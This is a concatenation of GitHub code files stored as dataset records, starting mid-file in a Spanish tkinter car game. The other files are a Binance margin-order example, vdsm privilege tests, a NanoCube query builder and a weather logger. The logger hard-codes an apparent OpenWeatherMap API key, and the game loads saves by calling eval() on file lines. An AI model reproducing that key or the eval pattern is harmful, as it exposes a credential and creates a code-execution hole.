\n                partida.write(str(round(contador2)))\n                partida.write(\"\\n\"+str(round(contadorg2)))\n                partida.write(\"\\n\"+str(round(contadorv2)))\n                partida.write(\"\\n\"+str(round(contadord2)))\n                contador2=contador2-0.015\n\n                \n\n\n                contador2=contador2-0.015            \n\n                tiempojugador2.set(round(contador2))\n\n            if contadorg2>0:\n\n                contadorg2=contadorg2-1\n\n                gasolinajugador2.set(round(contadorg2))\n                key2()\n                v.after(15, principal2)\n            if contadorv2<200:\n\n                 contadorv2=contadorv2+0.09\n\n                 velocidadjugador2.set(round(contadorv2))\n\n            contadord2=contadord1+0.09\n            distanciajugador2.set(round(contadord1))\n\n   \n\ndef lvl1():\n    \"\"\"\n    En esta función se hará el llamado de la función principal, se darán valores para las funciones que tienen parámetros( los cuales se han creado con el fin de\n    controlar totalmente, y especialmente para poder darle dificultad a cada nivel , en este caso, al nivel 1), además se agregan condicionales que paran el juego\n    en caso de que el jugador pierda la partida.\n\n    \"\"\"\n    global v1,v2,F,po, imagenizquierda, velocity, nombre, nombrecaja,tiempo1, tiempojugador1, contador1\n    musicaMenu.stop()\n\n    pygame.mixer.music.load(\"nivel1.wav\")\n    pygame.mixer.music.play()\n    nivel=1\n\n\n    fondojuego.delete(moraizq)\n    fondojuego.delete(morader)\n    fondojuego.delete(tierrizq)\n    fondojuego.delete(tierrder)\n    fondojuego.delete(roizq)\n    fondojuego.delete(roder)\n    fondojuego.delete(c2)\n    fondojuego.delete(c3)\n    fondojuego.delete(c4)\n    fondojuego.delete(sizq)\n    fondojuego.delete(sder)\n    fondojuego.delete(c5)\n\n\n\n    #fondojuego.lower(c1)\n\n    labeljugador1=tkinter.Label(v,text=nombre.get(), font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=325)\n    labeljugador2=tkinter.Label(v,text=nombre2.get(), font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=325)\n    labeltiempo1=tkinter.Label(v,textvariable=tiempojugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=570, y=550)\n    labeltiempo2=tkinter.Label(v,textvariable=tiempojugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=765, y=550)\n    labelgasolina1=tkinter.Label(v,textvariable=gasolinajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=570, y=450)\n    labelgasolina2=tkinter.Label(v,textvariable=gasolinajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=770, y=450)\n    labelvelocidad1=tkinter.Label(v,textvariable=velocidadjugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=570, y=390)\n    labelvelocidad2=tkinter.Label(v,textvariable=velocidadjugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=390)\n    labeldistancia1=tkinter.Label(v,textvariable=distanciajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=607)\n    labeldistancia2=tkinter.Label(v,textvariable=distanciajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=607)   \n    fondojuego.focus_set()\n    \n    \n    v.deiconify()\n    ventana.iconify()\n    v1=2\n    v2=2#F es el movimiento en x, v2 el movimiento en y, v1 el movimiento vertical de la van\n    F=1\n    velocity=10\n\n\n    principal()\n    principal2()\n\n\n    \n\n\n    \n\n\nv.iconify()\nboton2=tkinter.Button(ventana, image=imagen_2boton,command=lvl1).place(x=1200, y=300)\n\n\n\ndef lvl2():\n    \"\"\"\n    En esta función se hará el llamado de la función principal, se darán valores para las funciones que tienen parámetros( los cuales se han creado con el fin de\n    controlar totalmente, y especialmente para poder darle dificultad a cada nivel , en este caso, al nivel 2), además se agregan condicionales que paran el juego\n    en caso de que el jugador pierda la partida.\n\n    \"\"\"\n    global v1,v2,F, imagenizquierda, velocity, imagenderecha, tiempojugador1, contador1, velocidadfondo\n    musicaMenu.stop()\n\n    pygame.mixer.music.load(\"nivel2.wav\")#canción del nivel 2\n    pygame.mixer.music.play()#reproduce la canción del nivel2\n\n\n    velocidadfondo=20\n    fondojuego.delete(moraizq)\n    fondojuego.delete(morader)\n    fondojuego.delete(roizq)\n    fondojuego.delete(roder)\n    fondojuego.delete(c1)\n    fondojuego.delete(c3)\n    fondojuego.delete(c4)\n    fondojuego.delete(sizq)\n    fondojuego.delete(sder)\n    fondojuego.delete(c5)\n    labeljugador1=tkinter.Label(v,text=nombre.get(), font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=540, y=339)\n    labeljugador2=tkinter.Label(v,text=nombre2.get(), font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=740, y=339)\n    labeltiempo1=tkinter.Label(v,textvariable=tiempojugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=570, y=560)\n    labeltiempo2=tkinter.Label(v,textvariable=tiempojugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=765, y=560)\n    labelgasolina1=tkinter.Label(v,textvariable=gasolinajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=480)\n    labelgasolina2=tkinter.Label(v,textvariable=gasolinajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=480)\n    labelvelocidad1=tkinter.Label(v,textvariable=velocidadjugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=400) \n    labelvelocidad2=tkinter.Label(v,textvariable=velocidadjugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=400)\n    labeldistancia1=tkinter.Label(v,textvariable=distanciajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=620)\n    labeldistancia2=tkinter.Label(v,textvariable=distanciajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=620)   \n\n    fondojuego.focus_set()\n    v.deiconify()\n    ventana.iconify()\n    v1=4#F es el movimiento en x, v2 el movimiento en y, v1 el movimiento vertical de la van\n    v2=3\n    F=1.2\n    imagenizquierda=tierrizq\n    imagenderecha=tierrder\n    velocity=13\n    principal()\n    principal2()\n\nv.iconify()\nboton3=tkinter.Button(ventana, image=imagen_3boton,command=lvl2).place(x=1200, y=350)\n\ndef lvl3():\n\n    \"\"\"\n    En esta función se hará el llamado de la función principal, se darán valores para las funciones que tienen parámetros( los cuales se han creado con el fin de\n    controlar totalmente, y especialmente para poder darle dificultad a cada nivel , en este caso, al nivel 3), además se agregan condicionales que paran el juego\n    en caso de que el jugador pierda la partida.\n\n    \"\"\"\n    global v1,v2,F,imagenizquierda, velocity, imagenderecha, tiempojugador1, contador1, velocidadfondo\n\n    musicaMenu.stop()\n    pygame.mixer.music.load(\"nivel3.wav\")\n    pygame.mixer.music.play()\n\n\n    velocidadfondo=30\n\n    fondojuego.delete(tierrizq)\n    fondojuego.delete(tierrder)\n    fondojuego.delete(roizq)\n    fondojuego.delete(roder)\n    fondojuego.delete(c2)\n    fondojuego.delete(c1)\n    fondojuego.delete(c4)\n    fondojuego.delete(sizq)\n    fondojuego.delete(sder)\n    fondojuego.delete(c5)\n    labeljugador1=tkinter.Label(v,text=nombre.get(), font=(\"Tempus Sans ITC\",20),fg=\"black\",bg=\"white\").place(x=545, y=329)\n    labeljugador2=tkinter.Label(v,text=nombre2.get(), font=(\"Tempus Sans ITC\",20),fg=\"black\",bg=\"white\").place(x=745, y=329)\n    labeltiempo1=tkinter.Label(v,textvariable=tiempojugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=570, y=550)\n    labeltiempo2=tkinter.Label(v,textvariable=tiempojugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=765, y=550)\n    labelgasolina1=tkinter.Label(v,textvariable=gasolinajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=480)\n    labelgasolina2=tkinter.Label(v,textvariable=gasolinajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=480)\n    labelvelocidad1=tkinter.Label(v,textvariable=velocidadjugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=565, y=390) \n    labelvelocidad2=tkinter.Label(v,textvariable=velocidadjugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=765, y=390)\n    labeldistancia1=tkinter.Label(v,textvariable=distanciajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=612)\n    labeldistancia2=tkinter.Label(v,textvariable=distanciajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=612)   \n    fondojuego.focus_set()\n    v.deiconify()\n    ventana.iconify()\n    v1=5#F es el movimiento en x, v2 el movimiento en y, v1 el movimiento vertical de la van\n    v2=4\n    F=1.5\n    imagenizquierda=moraizq\n    imagenderecha=morader\n    velocity=15\n    principal()\n    principal2()\nv.iconify()\nboton4=tkinter.Button(ventana, image=imagen_4boton,command=lvl3).place(x=1200, y=400)\n\ndef lvl4():\n\n     \"\"\"\n     En esta función se hará el llamado de la función principal, se darán valores para las funciones que tienen parámetros( los cuales se han creado con el fin de\n     controlar totalmente, y especialmente para poder darle dificultad a cada nivel , en este caso, al nivel 2), además se agregan condicionales que paran el juego\n     en caso de que el jugador pierda la partida.\n\n     \"\"\"\n     global  v1,v2,F,imagenizquierda, velocity, imagenderecha, tiempojugador1, contador1, velocidadfondo\n\n     musicaMenu.stop()\n     pygame.mixer.music.load(\"nivel4.wav\")\n     pygame.mixer.music.play()\n\n     velocidadfondo=40\n\n\n     fondojuego.delete(sizq)\n     fondojuego.delete(sder)\n     fondojuego.delete(c5)\n     labeljugador1=tkinter.Label(v,text=nombre.get(), font=(\"Tempus Sans ITC\",20),fg=\"black\",bg=\"white\").place(x=540, y=339)\n     labeljugador2=tkinter.Label(v,text=nombre2.get(), font=(\"Tempus Sans ITC\",20),fg=\"black\",bg=\"white\").place(x=740, y=339)\n     labeltiempo1=tkinter.Label(v,textvariable=tiempojugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=570, y=550)\n     labeltiempo2=tkinter.Label(v,textvariable=tiempojugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=765, y=550)\n     labelgasolina1=tkinter.Label(v,textvariable=gasolinajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=460)\n     labelgasolina2=tkinter.Label(v,textvariable=gasolinajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=460)\n     labelvelocidad1=tkinter.Label(v,textvariable=velocidadjugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=555, y=387) \n     labelvelocidad2=tkinter.Label(v,textvariable=velocidadjugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=755, y=387)\n     labeldistancia1=tkinter.Label(v,textvariable=distanciajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=607)\n     labeldistancia2=tkinter.Label(v,textvariable=distanciajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=607)   \n     fondojuego.focus_set()\n     v.deiconify()\n     ventana.iconify()\n     v1=6\n     v2=5#F es el movimiento en x, v2 el movimiento en y, v1 el movimiento vertical de la van\n     F=1.6\n     velocity=15\n     imagenizquierda=roizq\n     imagenderecha=roder\n     principal()\n     principal2()\nv.iconify()\nboton5=tkinter.Button(ventana, image=imagen_5boton,command=lvl4).place(x=1200, y=450)\n\ndef lvl5():\n\n     \"\"\"\n     En esta función se hará el llamado de la función principal, se darán valores para las funciones que tienen parámetros( los cuales se han creado con el fin de\n     controlar totalmente, y especialmente para poder darle dificultad a cada nivel , en este caso, al nivel 2), además se agregan condicionales que paran el juego\n     en caso de que el jugador pierda la partida.\n\n     \"\"\"\n     global v1,v2,F,imagenizquierda, velocity, imagenderecha, tiempojugador1, contador1,velocidadfondo\n     musicaMenu.stop()\n     pygame.mixer.music.load(\"nivel5.wav\")\n     pygame.mixer.music.play()\n\n     velocidadfondo=50\n\n\n\n     labeljugador1=tkinter.Label(v,text=nombre.get(), font=(\"Tempus Sans ITC\",20),fg=\"black\",bg=\"white\").place(x=540, y=339)\n     labeljugador2=tkinter.Label(v,text=nombre2.get(), font=(\"Tempus Sans ITC\",20),fg=\"black\",bg=\"white\").place(x=740, y=339)\n     labeltiempo1=tkinter.Label(v,textvariable=tiempojugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=570, y=550)\n     labeltiempo2=tkinter.Label(v,textvariable=tiempojugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=765, y=550)\n     labelgasolina1=tkinter.Label(v,textvariable=gasolinajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=460)\n     labelgasolina2=tkinter.Label(v,textvariable=gasolinajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=460)\n     labelvelocidad1=tkinter.Label(v,textvariable=velocidadjugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=387) \n     labelvelocidad2=tkinter.Label(v,textvariable=velocidadjugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=387)   \n     labeldistancia1=tkinter.Label(v,textvariable=distanciajugador1, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=560, y=607)\n     labeldistancia2=tkinter.Label(v,textvariable=distanciajugador2, font=(\"Tempus Sans ITC\",20),fg=\"blue\",bg=\"white\").place(x=760, y=607)        \n     fondojuego.focus_set()\n     v.deiconify()\n     ventana.iconify()\n     v1=7\n     v2=8\n     F=2#F es el movimiento en x, v2 el movimiento en y, v1 el movimiento vertical de la van\n     velocity=16\n     imagenizquierda=sizq\n     imagenderecha=sder\n     principal()\n     principal2()\nv.iconify()\nboton6=tkinter.Button(ventana, image=imagen_6boton,command=lvl5).place(x=1200, y=500)\n\n\n\ndef pasar():\n    \"\"\"\n    Esta función permite al usuario pasar al siguiente nivel, sabiendo que debe cerrar el juego y volverlo a abrir para tener aaceso al siguiente nivel\n\n    \"\"\"\n    v.destroy()\n    ventana.destroy()\n\ndef cargardatos():\n    \"\"\"\n    Esta funció permite cargar datos previamente almacenados de ambos jugadores, y si es el caso\n    permitirles continuar la partida que estaban jugando\n    \"\"\"\n    global archivo,contador1, contadorg1, contadorv1, contadord1\n\n  \n\n    partida= open(\"archivo.txt\", \"r\")\n    contador1=eval(partida.readline())\n    print(contador1)\n    contadorg1=eval(partida.readline())\n    print(contadorg1)\n    contadorv1=eval(partida.readline())\n    print(contadorv1)\n    contadord1=eval(partida.readline())\n    print(contadord1)\n\n    partida2= open(\"archivo2.txt\", \"r\")\n    contador2=eval(partida2.readline())\n    print(contador2)\n    contadorg2=eval(partida2.readline())\n    print(contadorg2)\n    contadorv2=eval(partida2.readline())\n    print(contadorv2)\n    contadord2=eval(partida2.readline())\n    print(contadord1)\n    lvl1()\n\n    partida.close()\n    partida2.close()\n\ndef cargardatos2():\n    global archivo,contador1, contadorg1, contadorv1, contadord1\n    \"\"\"\n    Esta funció permite cargar datos previamente almacenados de ambos jugadores, y si es el caso\n    permitirles continuar la partida que estaban jugando\n    \"\"\"\n\n  \n\n    partida= open(\"archivo.txt\", \"r\")\n    contador1=eval(partida.readline())\n    print(contador1)\n    contadorg1=eval(partida.readline())\n    print(contadorg1)\n    contadorv1=eval(partida.readline())\n    print(contadorv1)\n    contadord1=eval(partida.readline())\n    print(contadord1)\n\n    partida2= open(\"archivo2.txt\", \"r\")\n    contador2=eval(partida2.readline())\n    print(contador2)\n    contadorg2=eval(partida2.readline())\n    print(contadorg2)\n    contadorv2=eval(partida2.readline())\n    print(contadorv2)\n    contadord2=eval(partida2.readline())\n    print(contadord1)\n    lvl2()\n\n\n    partida.close()\n    partida2.close()\ndef cargardatos3():\n    global archivo,contador1, contadorg1, contadorv1, contadord1\n\n    \"\"\"\n    Esta funció permite cargar datos previamente almacenados de ambos jugadores, y si es el caso\n    permitirles continuar la partida que estaban jugando\n    \"\"\"\n  \n\n    partida= open(\"archivo.txt\", \"r\")\n    contador1=eval(partida.readline())\n    print(contador1)\n    contadorg1=eval(partida.readline())\n    print(contadorg1)\n    contadorv1=eval(partida.readline())\n    print(contadorv1)\n    contadord1=eval(partida.readline())\n    print(contadord1)\n\n    partida2= open(\"archivo2.txt\", \"r\")\n    contador2=eval(partida2.readline())\n    print(contador2)\n    contadorg2=eval(partida2.readline())\n    print(contadorg2)\n    contadorv2=eval(partida2.readline())\n    print(contadorv2)\n    contadord2=eval(partida2.readline())\n    print(contadord1)\n    lvl3()\n\n    partida.close()\n    partida2.close()\n\ndef cargardatos4():\n    global archivo,contador1, contadorg1, contadorv1, contadord1\n    \"\"\"\n    Esta funció permite cargar datos previamente almacenados de ambos jugadores, y si es el caso\n    permitirles continuar la partida que estaban jugando\n    \"\"\"\n\n  \n\n    partida= open(\"archivo.txt\", \"r\")\n    contador1=eval(partida.readline())\n    print(contador1)\n    contadorg1=eval(partida.readline())\n    print(contadorg1)\n    contadorv1=eval(partida.readline())\n    print(contadorv1)\n    contadord1=eval(partida.readline())\n    print(contadord1)\n\n    partida2= open(\"archivo2.txt\", \"r\")\n    contador2=eval(partida2.readline())\n    print(contador2)\n    contadorg2=eval(partida2.readline())\n    print(contadorg2)\n    contadorv2=eval(partida2.readline())\n    print(contadorv2)\n    contadord2=eval(partida2.readline())\n    print(contadord1)\n    lvl4()\n\n    partida.close()\n    partida2.close()\n\ndef cargardatos5():\n    global archivo,contador1, contadorg1, contadorv1, contadord1, contador2, tiempojugador2\n\n    \"\"\"\n    Esta funció permite cargar datos previamente almacenados de ambos jugadores, y si es el caso\n    permitirles continuar la partida que estaban jugando\n    \"\"\"\n\n    \n\n    \n    partida= open(\"archivo.txt\", \"r\")\n    contador1=eval(partida.readline())\n    print(contador1)\n    contadorg1=eval(partida.readline())\n    print(contadorg1)\n    contadorv1=eval(partida.readline())\n    print(contadorv1)\n    contadord1=eval(partida.readline())\n    print(contadord1)\n\n    partida2= open(\"archivo2.txt\", \"r\")\n    contador2=eval(partida2.readline())\n    print(contador2)\n    contadorg2=eval(partida2.readline())\n    print(contadorg2)\n    contadorv2=eval(partida2.readline())\n    print(contadorv2)\n    contadord2=eval(partida2.readline())\n    print(contadord1)\n    lvl5()\n\n    partida.close()\n    partida2.close()\n    \n    \n\n\n##Label y botones para permitir cargar las partidas y seleccionar cuando y donde se quiere vcargar\n\nlabelcontinuar=tkinter.Label(ventana, text=\"Cargar partida en : \",font=(\"Tempus Sans ITC\",15),bg=\"white\").place(x=50, y=615)      \nContinuar=tkinter.Button(ventana,text=\"Nivel 1\" ,font=(\"Tempus Sans ITC\",14),command=cargardatos).place(x=230, y=615)\nContinuar2=tkinter.Button(ventana,text=\"Nivel 2\" ,font=(\"Tempus Sans ITC\",14),command=cargardatos2).place(x=330, y=615)\nContinuar3=tkinter.Button(ventana,text=\"Nivel 3\" ,font=(\"Tempus Sans ITC\",14),command=cargardatos3).place(x=430, y=615)\nContinuar4=tkinter.Button(ventana,text=\"Nivel 4\" ,font=(\"Tempus Sans ITC\",14),command=cargardatos4).place(x=530, y=615)\nContinuar5=tkinter.Button(ventana,text=\"Nivel 5\" ,font=(\"Tempus Sans ITC\",14),command=cargardatos5).place(x=630, y=615)\n\n\n\n# Liga el evento key al canvas\nfondojuego.bind(\"<KeyPress>\",keydown)\nfondojuego.bind(\"<KeyRelease>\",keyup)\n\n\n#enpaquetado( mostrar lo hecho con canvas)\n\nfondojuego.pack()\n\n\n#ciclo para escuchar los eventos\nv.mainloop()\n","repo_name":"2203juan/Car-Game","sub_path":"juegofirstry/BodyGame.py","file_name":"BodyGame.py","file_ext":"py","file_size_in_byte":46442,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4154201974","text":"from unicorn_binance_rest_api.manager import BinanceRestApiManager\nimport logging\nimport os\n\n# https://docs.python.org/3/library/logging.html#logging-levels\nlogging.getLogger(\"unicorn_binance_rest_api\")\nlogging.basicConfig(level=logging.DEBUG,\n                    filename=os.path.basename(__file__) + '.log',\n                    format=\"{asctime} [{levelname:8}] {process} {thread} {module}: {message}\",\n                    style=\"{\")\n\n# Define API Key and Secret\nAPI_KEY = \"\"\nAPI_SECRET = \"\"\n\n# Define quantity in USDT to buy\nBUY_QUANTITY_USDT = 15\n\n# Define number of decimal places to round prices\nROUND_DECIMAL_PLACES = 2\n\n# Define the time in force for the stop limit order\nSTOP_LIMIT_TIME_IN_FORCE = \"GTC\"  # ENUM: GTC, FOK, IOC - https://www.delta.exchange/blog/support/time-in-force-flags-on-delta-exchange-fok-ioc-gtc\n\n# Define the percentage gap between the buy price and the stop loss price\nSTOP_LOSS_GAP_TO_BUY_PRICE_IN_PERCENT = 2\n\n# Define the gap in USDT between the stop loss trigger and the stop loss price\nSTOP_LOSS_TRIGGER_GAP_USDT = 0.01\n\n# Define the percentage gap between the buy price and the take profit price\nTAKE_PROFIT_GAP_TO_BUY_PRICE_IN_PERCENT = 2\n\n# Create a BinanceRestApiManager instance with the exchange and API credentials\nubra = BinanceRestApiManager(exchange=\"binance.com-isolated_margin\", api_key=API_KEY, api_secret=API_SECRET)\n\n# Buy BTC with a market order using the specified USDT quantity\nbuy_order = ubra.create_margin_order(symbol=\"BTCUSDT\",\n                                     isIsolated=\"TRUE\",\n                                     side=\"BUY\",\n                                     type=\"MARKET\",\n                                     quoteOrderQty=BUY_QUANTITY_USDT)\nprint(f\"Buy Order Result: {buy_order}\")\n\n# If the buy order was filled\nif buy_order['status'] == \"FILLED\":\n    # Calculate prices\n    buy_price = float(buy_order['fills'][0]['price'])\n    take_profit_price = buy_price * (100+TAKE_PROFIT_GAP_TO_BUY_PRICE_IN_PERCENT) / 100\n    stop_loss_price = buy_price * (100-STOP_LOSS_GAP_TO_BUY_PRICE_IN_PERCENT) / 100\n    stop_loss_price_trigger = stop_loss_price + STOP_LOSS_TRIGGER_GAP_USDT\n\n    # Sell BTC with TakeProfit or StopLoss (oco order)\n    oco_sell_order = ubra.create_margin_oco_order(symbol=\"BTCUSDT\",\n                                                  isIsolated=\"TRUE\",\n                                                  price=round(take_profit_price, ROUND_DECIMAL_PLACES),\n                                                  quantity=buy_order['executedQty'],\n                                                  side=\"SELL\",\n                                                  stopPrice=round(stop_loss_price_trigger, ROUND_DECIMAL_PLACES),\n                                                  stopLimitPrice=round(stop_loss_price, ROUND_DECIMAL_PLACES),\n                                                  stopLimitTimeInForce=STOP_LIMIT_TIME_IN_FORCE)\n    print(f\"OCO Order Result: {oco_sell_order}\")","repo_name":"LUCIT-Systems-and-Development/unicorn-binance-rest-api","sub_path":"example_buy_and_sell_oco_order_isolated_margin.py","file_name":"example_buy_and_sell_oco_order_isolated_margin.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"16"}
+{"seq_id":"74247255049","text":"from sklearn.externals import joblib\nimport os\n\ndef check_scaler():\n    SCALER_PATH = 'zernike_scaler-latest'\n    assert os.path.exists(SCALER_PATH)\n\n    scaler = joblib.load(SCALER_PATH)\n    \n    assert hasattr(scaler, 'scale_') # Make sure not using a deprecated version of sklearn","repo_name":"zmr/namsel","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"16"}
+{"seq_id":"70710845768","text":"from datetime import datetime\nimport sys\nimport numpy as np\n\ndef save_npz( save_dir, file_name, output_data, suffix_time:bool=True ):\n    save_path = f\"{save_dir}\\{file_name}\"\n    save_time = \"\"\n    if suffix_time:\n        save_time = str(datetime.now().strftime(\"%Y%m%d-%H%M%S\"))\n        save_time = \"_\"+save_time\n    save_path = save_path+save_time+\".npz\" \n    np.savez(save_path, **output_data)","repo_name":"shiau109/QM_opt","sub_path":"exp/save_data.py","file_name":"save_data.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72161148489","text":"class QueryBuilder(object):\n    def __init__(self, cube, **kwargs):\n        super(QueryBuilder, self).__init__()\n        self.cube = cube\n        self.path = [[] for _ in range(cube.get_dimension())]\n        self.precision = [0 for _ in range(cube.get_dimension())]\n        self.timeframe = [None, None]\n\n        if kwargs.has_key('debug'):\n            self._init_debug()\n        else:\n            self.debug = False\n\n    def find(self, dimension_name, dive):\n        if dimension_name not in self.cube.dimensions and dimension_name != \"Location\":\n            raise Exception(\"Dimension '{0}' not found.\".format(dimension_name))\n\n        if dimension_name == \"Location\":\n            path_index = 0\n        else:\n            path_index = self.cube.dimensions.index(dimension_name) + 1\n\n        if len(self.path[path_index]) != 0:\n            raise Exception(\"Try to override dimension: {0}\".format(dimension_name))\n\n        if isinstance(dive, tuple):\n            new_path = dive[0]\n            new_precision = dive[1]\n        else:\n            new_path = [dive]\n            new_precision = 0\n\n        self.path[path_index] = new_path\n        self.precision[path_index] = new_precision\n        return self\n\n    def after(self, date):\n        self.timeframe[0] = date\n        return self\n\n    def before(self, date):\n        self.timeframe[1] = date\n        return self\n\n    def between(self, begin, end):\n        self.after(begin)\n        self.before(end)\n        return self\n\n    def _retrieve_timeserietable(self, path):\n        node = self.cube.world\n\n        remaining_levels = self.cube.get_dimension()\n        for level_path in path:\n            if self.debug:\n                visited_links = []\n\n            for key in level_path:\n                if node.has_shared_content:\n                    break\n                node = node.get_child(key)\n                if node is None:\n                    return node\n                elif self.debug:\n                    visited_links.append(key)\n\n            remaining_levels -= 1\n            node = node.content\n            if self.debug:\n                self.trace.append(visited_links)\n\n        for i in range(remaining_levels):\n            node = node.content\n            if self.debug:\n                self.trace.append([])\n\n        return node\n\n    def execute(self, **kwargs):\n        if kwargs.has_key('debug'):\n            self._init_debug()\n\n        table = self._retrieve_timeserietable(self.path)\n        if table is None:\n            return 0\n        else:\n            return table.query(self.timeframe[0], self.timeframe[1])\n\n    def _init_debug(self):\n        self.debug = True\n        self.trace = []","repo_name":"nano-db/NanoCube","sub_path":"server/querybuilder.py","file_name":"querybuilder.py","file_ext":"py","file_size_in_byte":2664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"70574049927","text":"from __future__ import absolute_import\nfrom __future__ import division\n\nimport os\nimport six\n\nfrom pwd import getpwnam\n\nimport pytest\n\nfrom vdsm.common import supervdsm\nfrom vdsm.constants import VDSM_USER\n\n\n@pytest.fixture\ndef dropped_privileges():\n    vdsm_uid, vdsm_gid = getpwnam(VDSM_USER)[2:4:]\n    os.setgroups([])\n    os.setgid(vdsm_gid)\n    os.setuid(vdsm_uid)\n\n\n@pytest.mark.skipif(os.geteuid() != 0, reason=\"Requires root\")\ndef test_ping_call(dropped_privileges):\n    proxy = supervdsm.getProxy()\n    assert bool(proxy.ping())\n\n\n# This requires environment with tmpfs mounted to /sys/kernel/mm/ksm\n@pytest.mark.skipif(os.geteuid() != 0, reason=\"Requires root\")\ndef test_ksm_action(dropped_privileges):\n    proxy = supervdsm.getProxy()\n    ksmParams = {\"run\": 0,\n                 \"merge_across_nodes\": 1,\n                 \"sleep_millisecs\": 0xffff,\n                 \"pages_to_scan\": 0xffff}\n    proxy.ksmTune(ksmParams)\n\n    for k, v in six.iteritems(ksmParams):\n        with open(\"/sys/kernel/mm/ksm/%s\" % k, \"r\") as f:\n            assert str(v) == f.read().rstrip()\n","repo_name":"oVirt/vdsm","sub_path":"tests/functional/supervdsmFuncTests.py","file_name":"supervdsmFuncTests.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":147,"dataset":"github-code","pt":"16"}
+{"seq_id":"35606814654","text":"#!/usr/bin/env python\nimport pyowm\nimport time\n\nowm = pyowm.OWM('3cc9239f71004c1fa171a50d24e460e6')\nfilePath = \"/home/gbk/data/weatherTracker/\"\n\"\"\"\nfile structure\ntimeStamp,tempInFahrenheit['temp'],humidity,detailedStatus,rainVolume,wind-deg,wind-spe$\nGPS Coords for my house = 39.857979, -89.544616\n\"\"\"\ndef buildRow(owm):\n    weatherRow = []\n    observation = owm.weather_at_coords(39.857979, -89.544616)\n    w = observation.get_weather()\n    tempInFahrenheit = w.get_temperature('fahrenheit')\n    humidity = w.get_humidity()\n    timeStamp = time.time()\n    detailedStatus = w.get_detailed_status()\n    rain = w.get_rain()\n    try:\n        rainVolume = rain['3h']\n    except KeyError:\n        rainVolume = 0\n    wind = w.get_wind()\n    clouds = w.get_clouds()\n    weatherRow.extend([str(timeStamp), str(tempInFahrenheit['temp']), str(humidity), detailedStatus])\n    weatherRow.extend([str(rainVolume), str(wind['deg']), str(wind['speed']), str(clouds)])\n    return weatherRow\n\ntheDate = time.strftime(\"%Y_%m_%d\")\nweatherFile = filePath + theDate + \"_weather_obs.txt\"\ndelimiter = ','\nrow = buildRow(owm)\nwith open(weatherFile, 'a') as outFile:\n    outFile.write(delimiter.join(row) + 